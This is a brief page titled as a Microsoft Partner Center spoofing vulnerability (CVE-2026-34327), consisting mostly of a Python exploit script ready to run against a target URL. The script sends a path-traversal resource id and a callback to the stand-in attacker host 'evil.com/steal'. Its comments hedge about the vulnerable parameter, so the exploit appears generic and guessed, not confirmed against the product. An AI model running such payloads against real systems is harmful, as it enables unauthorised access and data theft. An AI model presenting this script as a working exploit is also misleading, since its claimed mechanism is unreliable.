CVE-2026-34327 Microsoft Partner Center欺骗漏洞

# Proof of Concept for CVE-2026-34327 # This script demonstrates the concept of manipulating a resource reference. # Usage: python poc.py <target_url> import requests import sys def exploit(target_url): # The vulnerable endpoint accepts a 'resource_id' or similar parameter # that is not properly validated against the trusted sphere. vulnerable_endpoint = f"{target_url}/api/v1/resource" # Malicious payload: An external reference to an attacker-controlled resource # This tricks the server into processing a resource from an untrusted sphere. payload = { "id": "../../../attacker-controlled/malicious.json", # Path traversal or external ref "callback": "http://evil.com/steal" } headers = { "User-Agent": "CVE-2026-34327-Scanner", "Content-Type": "application/json" } try: print(f"[*] Sending spoofing request to {target_url}...") response = requests.post(vulnerable_endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful! The server may have processed the external reference.") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <https://target-url>") sys.exit(1) target = sys.argv[1] exploit(target)